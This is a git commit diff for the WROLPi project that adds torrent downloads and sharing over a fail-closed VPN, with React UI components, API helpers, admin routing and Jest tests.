Torrents over a fail-closed VPN (#1026)

Torrents reach the Internet only through a fail-closed VPN (WireGuard or
OpenVPN, any provider), so peers never see a WROLPi's own address.

- A network namespace (Pi/Debian) or the vpn container (Docker) with an
  nftables kill switch; NAT-PMP or fixed port forwarding.
- qBittorrent inside it, sandboxed; torrents kept in config/torrents/.
- Torrent download form, Torrents page, Share as torrent, nav warning, and
  VPN settings in both Controller UIs.
- Help docs: Torrents, and The VPN for Torrents.

QA'd on a Raspberry Pi with a real provider over WireGuard and OpenVPN.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
lrnselfreliance 2026-11-28 14:25:24 -07:00 • committed by Roland
parent 633b125dc6
commit 2c3300b8b0
No known key found for this signature in database
GPG key ID: 1BA620CE6C9A4680
80 changed files with 7516 additions and 45 deletions

View file

@ -14,6 +14,8 @@
* `git pull origin master --ff`
3. Build all docker containers
* `docker-compose build --parallel`
* Rebuild the VPN container without its cache, so it gets the latest qBittorrent (it faces the Internet
through the VPN): `docker compose build --pull --no-cache vpn`
4. Create the map volumes
* `docker volume create --name=openstreetmap-data`
* `docker volume create --name=openstreetmap-rendered-tiles`

View file

@ -4,6 +4,7 @@ import {NavBar} from "./components/Nav";
import {createBrowserRouter, createRoutesFromElements, Link, Outlet, Route, RouterProvider} from "react-router";
import {VideosTabLayout, VideosPage, VideosSettingsPage, VideosStatistics, VideoWrapper} from "./components/Videos";
import AdminRoute from "./components/admin/AdminRoute";
import {ExtensionRoute} from "./components/admin/ExtensionPage";
import {Box, Header} from "./components/ui";
import '@mantine/core/styles.css';
import '@mantine/notifications/styles.css';
@ -125,6 +126,7 @@ export const routes = createRoutesFromElements(<Route
<Route path='repos/*' element={<ErrorBoundary><ReposRoute/></ErrorBoundary>}/>
<Route path='files/*' element={<ErrorBoundary><FilesRoute/></ErrorBoundary>}/>
<Route path='flasher/*' element={<ErrorBoundary><FlasherRoute/></ErrorBoundary>}/>
<Route path='extension' element={<ErrorBoundary><ExtensionRoute/></ErrorBoundary>}/>
{/* Unknown URLs render inside Root, with the navigation bar and theme. */}
<Route path='*' element={<PageNotFound/>}/>
</Route>);

View file

@ -2969,3 +2969,63 @@ export async function importRepo(repo) {
}
await reposError(response, 'Failed to import the repo.');
}
// --- Torrents (they reach the Internet only through the VPN) ---
const TORRENTS_API = `${API_URI}/torrents`;
async function torrentsRequest(response, fallbackMessage) {
if (!response.ok) {
throw new Error(await getErrorMessage(response, fallbackMessage));
}
return response.status === 204 ? null : response;
}
export async function getTorrents() {
const response = await torrentsRequest(await apiGet(`${TORRENTS_API}/`), 'Failed to get torrents');
return await response.json();
}
export async function uploadTorrent(file, destination) {
const form = new FormData();
form.append('torrent', file);
if (destination) {
form.append('destination', destination);
}
const response = await torrentsRequest(await fetch(`${TORRENTS_API}/upload`, {method: 'POST', body: form}),
'Failed to add the .torrent file');
return await response.json();
}
export async function pauseTorrent(hash) {
await torrentsRequest(await apiPost(`${TORRENTS_API}/${hash}/pause`), 'Failed to pause the torrent');
}
export async function resumeTorrent(hash) {
await torrentsRequest(await apiPost(`${TORRENTS_API}/${hash}/resume`), 'Failed to resume the torrent');
}
export async function removeTorrent(hash, deleteFiles = false) {
await torrentsRequest(await apiDelete(`${TORRENTS_API}/${hash}?delete_files=${deleteFiles ? 'true' : 'false'}`),
'Failed to remove the torrent');
}
export async function setTorrentShareLimits(hash, seedRatioLimit, seedTimeLimit) {
await torrentsRequest(await apiPut(`${TORRENTS_API}/${hash}/limits`,
{seed_ratio_limit: seedRatioLimit, seed_time_limit: seedTimeLimit}), 'Failed to save the limits');
}
export async function setTorrentSpeedLimits(upload, download) {
await torrentsRequest(await apiPut(`${TORRENTS_API}/limits`, {upload, download}),
'Failed to save the speed limits');
}
export function torrentFileUrl(hash) {
return `${TORRENTS_API}/${hash}/torrent`;
}
export async function shareTorrent(path, trackers, webSeeds, rememberTrackers = false) {
const response = await torrentsRequest(await apiPost(`${TORRENTS_API}/share`,
{path, trackers, web_seeds: webSeeds, remember_trackers: rememberTrackers}), 'Failed to share as a torrent');
return (await response.json()).job_id;
}

View file

@ -294,3 +294,29 @@ export async function runSync() {
export async function cancelSync() {
return controllerFetch('/sync/cancel', {method: 'POST'});
}
// --- VPN (torrents reach the Internet only through it) ---
export async function getVpnStatus() {
return controllerFetch('/vpn/status');
}
export async function getVpnSettings() {
return controllerFetch('/vpn/settings');
}
export async function updateVpnSettings(settings) {
return controllerFetch('/vpn/settings', {method: 'POST', body: JSON.stringify(settings)});
}
export async function uploadVpnConfig(filename, content) {
return controllerFetch('/vpn/config', {method: 'POST', body: JSON.stringify({filename, content})});
}
export async function deleteVpnConfig() {
return controllerFetch('/vpn/config', {method: 'DELETE'});
}
export async function saveVpnAuth(username, password) {
return controllerFetch('/vpn/auth', {method: 'POST', body: JSON.stringify({username, password})});
}

View file

@ -1,5 +1,5 @@
import React, {useState} from "react";
import {fetchVideoDownloadDefaults, getDownloaders, postDownload, putDownload} from "../api";
import {fetchVideoDownloadDefaults, getDownloaders, getTorrents, postDownload, putDownload, uploadTorrent} from "../api";
import {
APIButton,
DirectorySearch,
@ -13,8 +13,22 @@ import {
validURL,
validURLs,
} from "./Common";
import {Button, Group, Header, Icon, Message, MultiSelect, NumberInput, Select, Stack, TextInput, Textarea} from "./ui";
import {
Button,
Group,
Header,
Icon,
Message,
MultiSelect,
NumberInput,
Select,
Stack,
TextInput,
Textarea,
toast,
} from "./ui";
import {Link} from "react-router";
import {VPN_SETTINGS_PATH, VpnStateUnknown} from "./admin/VpnSection";
import {TagsSelector} from "../Tags";
import {
commaSeparatedValidator,
@ -1506,6 +1520,116 @@ export function FilesDownloadForm({
</form>
}
// One magnet link or .torrent URL per line.
export const validTorrentUrls = (value) => {
const lines = (value || '').split(/\r?\n/).map(i => i.trim()).filter(Boolean);
return lines.length > 0 && lines.every(i => /^magnet:\?/i.test(i) || /^https?:\/\/\S+$/i.test(i));
};
// The URLs are optional (a .torrent file may be chosen instead); a stable function, as the form registers it.
const optionalTorrentUrls = (value) => !(value || '').trim() || validTorrentUrls(value);
function TorrentVpnStatus() {
const [status, setStatus] = React.useState(null);
const [failed, setFailed] = React.useState(false);
React.useEffect(() => {
let cancelled = false;
getTorrents()
.then(s => !cancelled && setStatus(s))
.catch(e => {
console.error('Failed to get torrents', e);
if (!cancelled) {
setFailed(true);
}
});
return () => {
cancelled = true;
};
}, []);
if (failed) {
return <VpnStateUnknown/>;
}
if (!status) {
return null;
}
const vpn = status.vpn || {};
if (vpn.state === 'connected') {
return <Message kind='success'>
VPN connected{vpn.public_ip ? <> · peers see <b>{vpn.public_ip}</b></> : null}
</Message>;
}
return <Message kind='warning' title='The VPN is not connected'>
Torrents only use the VPN. This torrent will start once the VPN connects.{' '}
<Link to={VPN_SETTINGS_PATH}>Set up the VPN</Link>
</Message>;
}
export function TorrentDownloadForm({download, onCancel, actions = DownloadFormButtons}) {
const [showMessage, setShowMessage] = React.useState(false);
const [file, setFile] = React.useState(null);
const fileInput = React.useRef(null);
const submitter = async (formData) => {
const urls = (formData.urls || '').split(/\r?\n/).map(i => i.trim()).filter(Boolean);
if (!file && !urls.length) {
throw new Error('Enter a magnet link or .torrent URL, or choose a .torrent file');
}
if (file) {
try {
await uploadTorrent(file, formData.destination);
} catch (e) {
// The Download button only changes its icon; say why (postDownload toasts its own failures).
toast({type: 'error', title: 'Could not add the .torrent file', description: e.message, time: 6000});
throw e;
}
setFile(null);
}
if (urls.length) {
await postDownload({downloader: Downloaders.Torrent, destination: formData.destination, urls});
}
};
const emptyFormData = {destination: null, urls: ''};
const form = useForm({
submitter,
defaultFormData: mergeDeep(emptyFormData, download),
emptyFormData,
clearPathsOnSuccess: URL_PATHS,
onSuccess: async () => setShowMessage(true),
});
return <form onSubmit={(e) => e.preventDefault()}>
<Header as='h3' icon='share'>Torrent</Header>
<p>Download (and share) torrents of open data. Torrents only use the VPN, so peers never see this WROLPi's own
address. Saved in the "torrents" directory unless you choose another.</p>
<Stack gap='md'>
<TorrentVpnStatus/>
{/* Optional: a .torrent file may be chosen instead (or as well). */}
<UrlsField form={form} label='Magnet links or .torrent URLs' placeholder='magnet:?xt=urn:btih:...'
valid={optionalTorrentUrls}/>
<div>
<input ref={fileInput} type='file' accept='.torrent,application/x-bittorrent'
style={{display: 'none'}} data-testid='torrent-file'
onChange={e => setFile((e.target.files && e.target.files[0]) || null)}/>
<Group gap='sm'>
<Button type='button' role='cancel' icon='file' disabled={form.disabled}
onClick={() => fileInput.current && fileInput.current.click()}>
{file ? 'Choose another .torrent file' : 'Or choose a .torrent file'}
</Button>
{file && <span>{file.name}</span>}
</Group>
</div>
<DestinationForm form={form}/>
{showMessage && <SuccessfulDownloadSubmitMessage/>}
{/* Download waits for something to download: a URL or a chosen file. */}
{actions({onCancel, form: {...form, ready: form.ready && (!!file || !!(form.formData.urls || '').trim())}})}
</Stack>
</form>
}
const suffixValidator = (value) => {
const error = commaSeparatedValidator(value);
if (error) {
@ -1659,11 +1783,12 @@ function UrlField({form, required = true, name = 'url', path = 'url', disabled =
}
/** Multiline URLs field: one URL per line. */
function UrlsField({name = 'urls', required, form}) {
function UrlsField({name = 'urls', required, form, label = 'URLs', placeholder = 'Enter one URL per line',
valid = validURLs}) {
required = required !== undefined;
const validator = (value) => {
if (!validURLs(value)) {
if (!valid(value)) {
return 'Invalid URLs';
}
};
@ -1687,10 +1812,10 @@ function UrlsField({name = 'urls', required, form}) {
};
return <div>
<FieldLabel htmlFor='urls_textarea' label='URLs' required={required}/>
<FieldLabel htmlFor='urls_textarea' label={label} required={required}/>
<Textarea
id='urls_textarea'
placeholder='Enter one URL per line'
placeholder={placeholder}
name='urls'
minRows={4}
autosize
@ -1724,6 +1849,7 @@ export function DownloadMenu({onOpen, disabled, initialDownloader, initialUrls})
<Button color='blue' disabled={disabled} onClick={() => localOnOpen('video_channel')}>Channel/Playlist</Button>
<Button disabled={disabled} onClick={() => localOnOpen('rss')}>RSS Feed</Button>
<Button color='grey' disabled={disabled} onClick={() => localOnOpen('file')}>Files</Button>
<Button color='grey' disabled={disabled} onClick={() => localOnOpen('torrent')}>Torrent</Button>
<Button role='danger' disabled={disabled} onClick={() => localOnOpen('scrape')}>Scrape</Button>
</Stack>);
@ -1746,6 +1872,7 @@ export function DownloadMenu({onOpen, disabled, initialDownloader, initialUrls})
video_channel: <ChannelDownloadForm onCancel={clearSelected} download={seed}/>,
rss: <RSSDownloadForm onCancel={clearSelected} download={seed}/>,
file: <FilesDownloadForm onCancel={clearSelected} download={seed}/>,
torrent: <TorrentDownloadForm onCancel={clearSelected} download={seed}/>,
scrape: <ScrapeFilesDownloadForm onCancel={clearSelected} download={seed}/>
};

View file

@ -41,6 +41,7 @@ import {DragSelectionContext, DragSelectionProvider, SettingsContext, ThemeConte
import {BulkTagModal} from "./BulkTagModal";
import {InlineErrorBoundary} from "./ErrorBoundary";
import {TaggedDeleteConfirmModal} from "./TaggedDeleteConfirmModal";
import {ShareTorrentModal} from "./ShareTorrentModal";
import {UploadModal} from "./Upload";
import {useFileWorkerStatus} from "../contexts/FileWorkerStatusContext";
@ -244,6 +245,7 @@ export function FileBrowser() {
const [selectedPaths, setSelectedPaths] = React.useState([]);
const [renameOpen, setRenameOpen] = React.useState(false);
const [moveOpen, setMoveOpen] = React.useState(false);
const [shareOpen, setShareOpen] = React.useState(false);
const [makeDirectoryOpen, setMakeDirectoryOpen] = React.useState(false);
const [ignoreDirectoryOpen, setIgnoreDirectoryOpen] = React.useState(false);
const [bulkTagOpen, setBulkTagOpen] = React.useState(false);
@ -477,6 +479,13 @@ export function FileBrowser() {
paths={selectedPaths}
onSubmit={reset}
/> : null}
<Button icon='share'
color='violet'
onClick={() => setShareOpen(true)}
disabled={wrolModeEnabled || selectedPathsCount !== 1}
>{label('Share')}</Button>
{selectedPathsCount === 1 ?
<ShareTorrentModal open={shareOpen} onClose={() => setShareOpen(false)} path={selectedPaths[0]}/> : null}
<Button
color='blue'
onClick={() => setMakeDirectoryOpen(true)}

View file

@ -22,6 +22,7 @@ import {useOverflowNav} from "../hooks/useOverflowNav";
import {defaultNavColor, navBarStyle, useNavColors} from "../themes/navColors";
import _ from "lodash";
import {BookmarksMenuContents, EDIT_BOOKMARKS_PATH} from "./Bookmarks";
import {VPN_SETTINGS_PATH} from "./admin/VpnSection";
function updateFavicon(colorName) {
// Fall back to violet if invalid color
@ -70,6 +71,7 @@ const allLinks = [
// menu, and its items are not sections of the app.
{text: 'Bookmarks', key: 'bookmarks', bookmarks: true},
{text: 'Flasher', to: '/flasher', key: 'flasher'},
{text: 'Extension', to: '/extension', key: 'extension'},
{to: '/more/statistics', text: 'Statistics', key: 'statistics'},
];
@ -474,11 +476,25 @@ export function NavBar() {
</Tooltip>;
}
// Torrents only reach the Internet through the VPN; while it is not connected they are stopped. Shown only when
// there are torrents, so a WROLPi which does not use them never sees it.
const torrents = status && status.torrents;
let torrentsIcon;
if (torrents && torrents.count > 0 && torrents.vpn_state !== 'connected') {
const label = torrents.vpn_state === 'wrol_mode'
? 'Torrents are stopped: WROL Mode is on'
: 'Torrents are stopped: the VPN is not connected';
const icon = <Icon data-testid='torrentsVpnIcon' name='share' size='large'
style={{color: colorVar(lowWarningColor)}} label={label}/>;
torrentsIcon = <Tooltip label={label}><Link to={VPN_SETTINGS_PATH}>{icon}</Link></Tooltip>;
}
const icons = <React.Fragment>
<NavIconWrapper>{apiDownIcon}</NavIconWrapper>
<NavIconWrapper>{processingIcon}</NavIconWrapper>
<NavIconWrapper>{upgradeIcon}</NavIconWrapper>
<NavIconWrapper>{driveHealthIcon}</NavIconWrapper>
<NavIconWrapper>{torrentsIcon}</NavIconWrapper>
<NavIconWrapper>{powerIcon}</NavIconWrapper>
<NavIconWrapper>{warningIcon}</NavIconWrapper>
<NavIconWrapper><ShareButton asIcon/></NavIconWrapper>

View file

@ -247,6 +247,13 @@ describe('NavBar bookmarks', () => {
],
});
it('Extension follows Flasher', () => {
renderNav('/');
const texts = [...document.querySelectorAll('#global_navbar .wrolpi-navbar-link')]
.map(el => el.textContent.trim());
expect(texts[texts.indexOf('Flasher') + 1]).toBe('Extension');
});
it('sits between Calculators and Flasher', () => {
renderNav('/');
const texts = [...document.querySelectorAll('#global_navbar .wrolpi-navbar-link')]
@ -319,3 +326,31 @@ describe('NavBar bookmarks', () => {
expect(screen.getByRole('menuitem', {name: 'Edit bookmarks'})).toBeInTheDocument();
});
});
describe('NavBar torrents warning', () => {
const {statusFixture} = require('../test-fixtures');
const renderWithTorrents = (torrents) => render(<NavBar/>, {
route: '/',
withMedia: true,
status: {status: statusFixture({torrents})},
contexts: [[FileWorkerStatusContext, fileWorkerStatus]],
});
it('warns when torrents exist but the VPN they use is not connected', () => {
renderWithTorrents({count: 2, vpn_state: 'connecting', running: true});
expect(screen.getAllByLabelText('Torrents are stopped: the VPN is not connected').length).toBeGreaterThan(0);
});
it('says when WROL Mode stopped them', () => {
renderWithTorrents({count: 1, vpn_state: 'wrol_mode', running: true});
expect(screen.getAllByLabelText('Torrents are stopped: WROL Mode is on').length).toBeGreaterThan(0);
});
it('is silent while the VPN is connected, or without torrents', () => {
const {unmount} = renderWithTorrents({count: 2, vpn_state: 'connected', running: true});
expect(screen.queryByTestId('torrentsVpnIcon')).not.toBeInTheDocument();
unmount();
renderWithTorrents({count: 0, vpn_state: 'stopped', running: false});
expect(screen.queryByTestId('torrentsVpnIcon')).not.toBeInTheDocument();
});
});

View file

@ -0,0 +1,119 @@
import React from 'react';
import {Link} from 'react-router';
import {getTorrents, shareTorrent} from '../api';
import {Button, Checkbox, Group, Message, Modal, Stack, Textarea, toast} from './ui';
import {JobProgress, useJob} from './VideoEditMenu';
import {VPN_SETTINGS_PATH, VpnStateUnknown} from './admin/VpnSection';
const lines = (value) => (value || '').split(/\r?\n/).map(i => i.trim()).filter(Boolean);
/**
* Make a torrent of a file or directory in the library, and seed it. qBittorrent hashes the files, which takes
* a while for a large file, so this follows the Job doing it.
*/
export function ShareTorrentModal({path, open, onClose}) {
const [trackers, setTrackers] = React.useState('');
const [webSeeds, setWebSeeds] = React.useState('');
const [rememberTrackers, setRememberTrackers] = React.useState(false);
const [vpn, setVpn] = React.useState(null);
const [vpnFailed, setVpnFailed] = React.useState(false);
const [submitting, setSubmitting] = React.useState(false);
const [jobId, setJobId] = React.useState(null);
const [lost, setLost] = React.useState(false);
const {job, cancel} = useJob(jobId, null, () => setLost(true));
React.useEffect(() => {
if (!open) {
return;
}
setJobId(null);
setLost(false);
setWebSeeds('');
setRememberTrackers(false);
setVpnFailed(false);
let cancelled = false;
getTorrents()
.then(status => {
if (!cancelled) {
setTrackers((status.trackers || []).join('\n'));
setVpn(status.vpn || {});
}
})
.catch(e => {
console.error('Failed to get torrents', e);
if (!cancelled) {
setVpnFailed(true);
}
});
return () => {
cancelled = true;
};
}, [open]);
const submit = async () => {
setSubmitting(true);
try {
setJobId(await shareTorrent(path, lines(trackers), lines(webSeeds), rememberTrackers));
} catch (e) {
toast({type: 'error', title: 'Share as torrent', description: e.message, time: 6000});
} finally {
setSubmitting(false);
}
};
const result = job && job.status === 'complete' ? job.result : null;
const copyMagnet = async () => {
try {
await navigator.clipboard.writeText(result.magnet);
toast({type: 'success', title: 'Magnet link copied', time: 2000});
} catch (e) {
toast({type: 'error', title: 'Could not copy the magnet link', description: result.magnet, time: 8000});
}
};
return <Modal open={open} onClose={onClose} closeIcon>
<Modal.Header>Share as Torrent</Modal.Header>
<Modal.Content>
{!jobId ? <Stack gap='md'>
<p style={{margin: 0}}>
Make a torrent of <b>{path}</b> and seed it, so others can download it from this WROLPi (through
the VPN). A large file takes a while to prepare: about an hour for hundreds of gigabytes on a
Raspberry Pi.
</p>
{vpnFailed && <VpnStateUnknown/>}
{vpn && vpn.state !== 'connected' && <Message kind='warning'>
The VPN is not connected; the torrent will be seeded once it is.{' '}
<Link to={VPN_SETTINGS_PATH}>VPN settings</Link>
</Message>}
<Textarea label='Trackers' description='One per line. Peers also find each other without them (DHT).'
autosize minRows={2} value={trackers} onChange={e => setTrackers(e.target.value)}/>
<Checkbox label='Use these trackers next time' checked={rememberTrackers}
onChange={e => setRememberTrackers(e.currentTarget.checked)}/>
<Textarea label='Web seeds'
description='Optional, one per line: URLs where the same file can also be downloaded (e.g.
a copy on a website), so downloads never depend on peers alone.'
autosize minRows={2} placeholder='https://example.com/planet.pmtiles' value={webSeeds}
onChange={e => setWebSeeds(e.target.value)}/>
</Stack> : <Stack gap='md'>
<JobProgress job={job} onCancel={cancel}/>
{lost && <Message kind='warning'>
WROLPi restarted and lost track of this. See the <Link to='/admin/torrents'>Torrents</Link> page.
</Message>}
{result && <Message kind='success' title={`Seeding ${result.name}`}>
<Group gap='sm'>
<Button role='primary' icon='magnet' onClick={copyMagnet}>Copy Magnet Link</Button>
<Link to='/admin/torrents'>View torrents</Link>
</Group>
</Message>}
</Stack>}
</Modal.Content>
<Modal.Actions>
<Button role='cancel' onClick={onClose}>{jobId ? 'Close' : 'Cancel'}</Button>
{!jobId && <Button role='primary' icon='share' loading={submitting} onClick={submit}>
Make Torrent
</Button>}
</Modal.Actions>
</Modal>;
}
export default ShareTorrentModal;

View file

@ -0,0 +1,66 @@
import React from 'react';
import {fireEvent, screen, waitFor} from '@testing-library/react';
import {render} from '../test-utils';
import {ShareTorrentModal} from './ShareTorrentModal';
import {getJob, getTorrents, shareTorrent} from '../api';
// Listed, not spread from the real module: loading api.js loads VideoEditMenu (useJob), which would then get a second
// copy of these mocks.
jest.mock('../api', () => ({
getTorrents: jest.fn(),
shareTorrent: jest.fn(),
getJob: jest.fn(),
cancelJob: jest.fn(),
fetchVideoDownloadDefaults: jest.fn(),
transcodeVideo: jest.fn(),
updateVideo: jest.fn(),
}));
jest.mock('./ui', () => ({
...jest.requireActual('./ui'),
toast: jest.fn(),
}));
const TRACKERS = ['udp://tracker.opentrackr.org:1337/announce', 'udp://tracker.torrent.eu.org:451/announce'];
describe('ShareTorrentModal', () => {
beforeEach(() => {
jest.clearAllMocks();
getTorrents.mockResolvedValue({vpn: {state: 'connected'}, trackers: TRACKERS, torrents: []});
});
test('offers the remembered trackers', async () => {
render(<ShareTorrentModal open path='maps/planet.pmtiles' onClose={jest.fn()}/>);
await waitFor(() => expect(screen.getByLabelText(/^Trackers/)).toHaveValue(TRACKERS.join('\n')));
expect(screen.getByText('maps/planet.pmtiles')).toBeInTheDocument();
});
test('warns while the VPN is down', async () => {
getTorrents.mockResolvedValue({vpn: {state: 'stopped'}, trackers: [], torrents: []});
render(<ShareTorrentModal open path='maps/planet.pmtiles' onClose={jest.fn()}/>);
expect(await screen.findByText(/VPN is not connected/)).toBeInTheDocument();
});
test('says the VPN state is unknown when it cannot be loaded', async () => {
getTorrents.mockRejectedValue(new Error('The API is not responding'));
render(<ShareTorrentModal open path='maps/planet.pmtiles' onClose={jest.fn()}/>);
expect(await screen.findByText(/VPN state is unknown/)).toBeInTheDocument();
});
test('makes the torrent and follows the job to its magnet link', async () => {
shareTorrent.mockResolvedValue('job-1');
getJob.mockResolvedValue({id: 'job-1', status: 'complete', progress: 100, log: [],
result: {hash: 'a'.repeat(40), name: 'planet.pmtiles', magnet: 'magnet:?xt=urn:btih:aaaa'}});
render(<ShareTorrentModal open path='maps/planet.pmtiles' onClose={jest.fn()}/>);
await waitFor(() => expect(screen.getByLabelText(/^Trackers/)).toHaveValue(TRACKERS.join('\n')));
fireEvent.change(screen.getByLabelText(/^Web seeds/),
{target: {value: 'https://cdn.example/planet.pmtiles\n\n'}});
fireEvent.click(screen.getByLabelText('Use these trackers next time'));
fireEvent.click(screen.getByText('Make Torrent'));
await waitFor(() => expect(shareTorrent).toHaveBeenCalledWith(
'maps/planet.pmtiles', TRACKERS, ['https://cdn.example/planet.pmtiles'], true));
expect(await screen.findByText('Seeding planet.pmtiles')).toBeInTheDocument();
expect(screen.getByText('Copy Magnet Link')).toBeInTheDocument();
expect(screen.getByText('Close')).toBeInTheDocument();
});
});

View file

@ -0,0 +1,96 @@
import React from 'react';
import {fireEvent, screen, waitFor} from '@testing-library/react';
import {render} from '../test-utils';
import {TorrentDownloadForm, validTorrentUrls} from './Download';
import {getTorrents, postDownload, uploadTorrent} from '../api';
import {toast} from './ui';
jest.mock('../api', () => ({
...jest.requireActual('../api'),
getTorrents: jest.fn(),
// The destination field searches directories; no request leaves the test.
// (A plain function: the search is debounced and can land after resetMocks clears a jest.fn.)
searchDirectories: () => Promise.resolve(
{directories: [], channel_directories: [], domain_directories: [], is_dir: false}),
postDownload: jest.fn().mockResolvedValue(true),
uploadTorrent: jest.fn().mockResolvedValue({hash: 'a'.repeat(40), name: 'planet'}),
}));
const HASH = 'b'.repeat(40);
// Toasts render through Mantine notifications, which the test providers do not include.
jest.mock('./ui', () => ({
...jest.requireActual('./ui'),
toast: jest.fn(),
}));
describe('validTorrentUrls', () => {
test('magnet links and .torrent URLs, one per line', () => {
expect(validTorrentUrls(`magnet:?xt=urn:btih:${HASH}\nhttps://example.com/planet.torrent`)).toBe(true);
expect(validTorrentUrls('')).toBe(false);
expect(validTorrentUrls('ftp://example.com/x.torrent')).toBe(false);
expect(validTorrentUrls('not a url')).toBe(false);
});
});
describe('TorrentDownloadForm', () => {
beforeEach(() => {
jest.clearAllMocks();
getTorrents.mockResolvedValue({vpn: {state: 'connected', public_ip: '203.0.113.99'}, torrents: []});
});
test('shows the address peers will see', async () => {
render(<TorrentDownloadForm onCancel={jest.fn()}/>);
expect(await screen.findByText(/VPN connected/)).toHaveTextContent('peers see 203.0.113.99');
});
test('warns while the VPN is down', async () => {
getTorrents.mockResolvedValue({vpn: {state: 'stopped'}, torrents: []});
render(<TorrentDownloadForm onCancel={jest.fn()}/>);
expect(await screen.findByText('The VPN is not connected')).toBeInTheDocument();
expect(screen.getByText('Set up the VPN')).toBeInTheDocument();
});
test('downloads magnet links with the torrent downloader', async () => {
render(<TorrentDownloadForm onCancel={jest.fn()}/>);
fireEvent.change(screen.getByLabelText(/Magnet links/), {target: {value: `magnet:?xt=urn:btih:${HASH}`}});
await waitFor(() => expect(screen.getByText('Download').closest('button')).toBeEnabled());
fireEvent.click(screen.getByText('Download'));
await waitFor(() => expect(postDownload).toHaveBeenCalledWith(
{downloader: 'torrent', destination: null, urls: [`magnet:?xt=urn:btih:${HASH}`]}));
expect(uploadTorrent).not.toHaveBeenCalled();
});
test('uploads a chosen .torrent file without needing a URL', async () => {
render(<TorrentDownloadForm onCancel={jest.fn()}/>);
const file = new File(['d4:infodee'], 'planet.torrent', {type: 'application/x-bittorrent'});
fireEvent.change(screen.getByTestId('torrent-file'), {target: {files: [file]}});
expect(await screen.findByText('planet.torrent')).toBeInTheDocument();
await waitFor(() => expect(screen.getByText('Download').closest('button')).toBeEnabled());
fireEvent.click(screen.getByText('Download'));
await waitFor(() => expect(uploadTorrent).toHaveBeenCalledWith(file, null));
expect(postDownload).not.toHaveBeenCalled();
});
test('Download waits for a URL or a file', async () => {
render(<TorrentDownloadForm onCancel={jest.fn()}/>);
await screen.findByText(/VPN connected/);
expect(screen.getByText('Download').closest('button')).toBeDisabled();
});
test('a refused .torrent file is shown to the user', async () => {
uploadTorrent.mockRejectedValueOnce(new Error('That is not a .torrent file'));
render(<TorrentDownloadForm onCancel={jest.fn()}/>);
fireEvent.change(screen.getByTestId('torrent-file'), {target: {files: [new File(['x'], 'bad.torrent')]}});
await waitFor(() => expect(screen.getByText('Download').closest('button')).toBeEnabled());
fireEvent.click(screen.getByText('Download'));
await waitFor(() => expect(toast).toHaveBeenCalledWith(
expect.objectContaining({type: 'error', description: 'That is not a .torrent file'})));
});
test('says the VPN state is unknown when it cannot be loaded', async () => {
getTorrents.mockRejectedValue(new Error('The API is not responding'));
render(<TorrentDownloadForm onCancel={jest.fn()}/>);
expect(await screen.findByText(/VPN state is unknown/)).toBeInTheDocument();
});
});

View file

@ -200,6 +200,7 @@ export function audioContainerForCodec(codec) {
export const Downloaders = {
Archive: 'archive',
File: 'file',
Torrent: 'torrent',
KiwixCatalog: 'kiwix_catalog',
KiwixZim: 'kiwix_zim',
MapCatalog: 'map_catalog',

View file

@ -1,33 +1,35 @@
import React from 'react';
import {PageContainer, TabLinks} from "../Common";
import {Route, Routes} from "react-router";
import {Navigate, Route, Routes} from "react-router";
import {DownloadsPage} from "./Downloads";
import {SettingsPage} from "./Settings";
import {StatusPage} from "./Status";
import {ControllerPage} from "./ControllerPage";
import {ExtensionPage} from "./ExtensionPage";
import {SyncPage} from "./Sync";
import {TorrentsPage} from "./Torrents";
export default function AdminRoute() {
const links = [
{text: 'Downloads', to: '/admin', key: 'admin', end: true},
{text: 'Torrents', to: '/admin/torrents', key: 'torrents'},
{text: 'Settings', to: '/admin/settings', key: 'settings'},
{text: 'Status', to: '/admin/status', key: 'status'},
{text: 'Sync', to: '/admin/sync', key: 'sync'},
{text: 'Control', to: '/admin/controller', key: 'controller'},
{text: 'Extension', to: '/admin/extension', key: 'extension'},
];
return <PageContainer>
<TabLinks links={links}/>
<Routes>
<Route path='/' exact element={<DownloadsPage/>}/>
<Route path='torrents' exact element={<TorrentsPage/>}/>
<Route path='settings' exact element={<SettingsPage/>}/>
<Route path='status' exact element={<StatusPage/>}/>
<Route path='sync' exact element={<SyncPage/>}/>
<Route path='controller' exact element={<ControllerPage/>}/>
<Route path='extension' exact element={<ExtensionPage/>}/>
{/* Moved to the navigation bar; the browser extension's options page still links here. */}
<Route path='extension' element={<Navigate to='/extension' replace/>}/>
</Routes>
</PageContainer>
}

View file

@ -0,0 +1,34 @@
import React from 'react';
import {screen} from '@testing-library/react';
import {Route, Routes} from 'react-router';
import {render} from '../../test-utils';
import AdminRoute from './AdminRoute';
jest.mock('./Downloads', () => ({DownloadsPage: () => <div>Downloads page</div>}));
jest.mock('./Torrents', () => ({TorrentsPage: () => <div>Torrents page</div>}));
jest.mock('./Settings', () => ({SettingsPage: () => <div>Settings page</div>}));
jest.mock('./Status', () => ({StatusPage: () => <div>Status page</div>}));
jest.mock('./ControllerPage', () => ({ControllerPage: () => <div>Controller page</div>}));
jest.mock('./Sync', () => ({SyncPage: () => <div>Sync page</div>}));
const renderAt = (route) => render(<Routes>
<Route path='/admin/*' element={<AdminRoute/>}/>
<Route path='/extension' element={<div>Extension page</div>}/>
</Routes>, {route});
describe('AdminRoute', () => {
test('has a Torrents tab, and no Extension tab (it is in the navigation bar)', () => {
renderAt('/admin');
// (The tab bar may render more than once, e.g. for narrow and wide screens.)
const torrents = screen.getAllByRole('link', {name: 'Torrents'});
torrents.forEach(link => expect(link).toHaveAttribute('href', '/admin/torrents'));
expect(screen.queryAllByRole('link', {name: 'Extension'})).toHaveLength(0);
});
test('the old Extension address still works', async () => {
// The browser extension's options page links here.
renderAt('/admin/extension');
expect(await screen.findByText('Extension page')).toBeInTheDocument();
expect(window.location.pathname).toBe('/extension');
});
});

View file

@ -49,6 +49,7 @@ import {
import QRCode from "react-qr-code";
import {RestartButton, ShutdownButton} from "./Settings";
import {CONTROLLER_URI} from "../Vars";
import {VpnSection} from "./VpnSection";
// Service status kind mapping. Status only knows complete/active/pending/failed,
@ -1695,6 +1696,7 @@ export function ControllerPage() {
<AdminControlsSection/>
<ServicesSection/>
<SambaSection/>
<VpnSection/>
<DiskSection/>
</div>
);

View file

@ -124,6 +124,11 @@ jest.mock('../ui', () => ({
toast: jest.fn(),
}));
// The VPN section has its own tests (VpnSection.test.js).
jest.mock('./VpnSection', () => ({
VpnSection: () => <div data-testid="vpn-section">VpnSection</div>,
}));
// Mock Settings.js components
jest.mock('./Settings', () => ({
RestartButton: () => <button data-testid="restart-button">Restart</button>,
